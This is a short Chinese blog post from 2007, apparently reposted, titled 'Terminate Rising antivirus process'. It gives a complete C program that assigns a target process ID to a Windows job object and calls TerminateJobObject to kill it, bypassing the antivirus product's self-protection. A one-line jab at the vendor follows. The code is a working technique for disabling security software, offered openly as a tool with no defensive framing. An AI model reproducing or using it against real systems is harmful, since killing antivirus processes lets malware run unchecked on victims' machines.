代码安全,网络安全,系统内核
« »
2007-12-29网络安全

140 views

结束瑞星进程(转载)

  1. #include "stdafx.h"
  2. #include <string.h>
  3. #include <iostream.h>
  4. #include<stdio.h>
  5. #include <stdlib.h>
  6. #include <windows.h>
  7. #pragma   comment(lib,"Kernel32.lib")
  8. #include <winbase.h>
  9.  
  10. int main(int argc, char* argv[])
  11. {
  12. BOOL res=FALSE;
  13. HANDLE hjob=CreateJobObject(NULL,TEXT("killrav")); //建立job对象,命名为killrav
  14.  
  15. HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,0,atoi(argv[1]));//打开进程
  16.  
  17. if (hProcess==NULL) //打开失败
  18. {
  19. printf("\t\t OpenProcessError!please Look up your Privilege first ^_^\n");
  20. return 0;
  21. }
  22.  
  23. AssignProcessToJobObject(hjob,hProcess);//将进程和对象关联起来
  24.  
  25. res=TerminateJobObject(hjob,0);//结束对象
  26. if (res==FALSE) printf("\t\t Sorry ,can't kill the process you want \n");
  27. else
  28. printf("\t\t Ok ,Now you can check if the process still exists \n");
  29.  
  30. return 0;
  31.  
  32. }

对这种毫不负责的态度bs之



日志信息 »

该日志于2007-12-29 23:12由 老周 发表在网络安全分类下, 你可以发表评论。除了可以将这个日志以保留源地址及作者的情况下引用到你的网站或博客,还可以通过RSS 2.0订阅这个日志的所有评论。

没有评论

发表评论 »

发表评论您必须先登录

返回顶部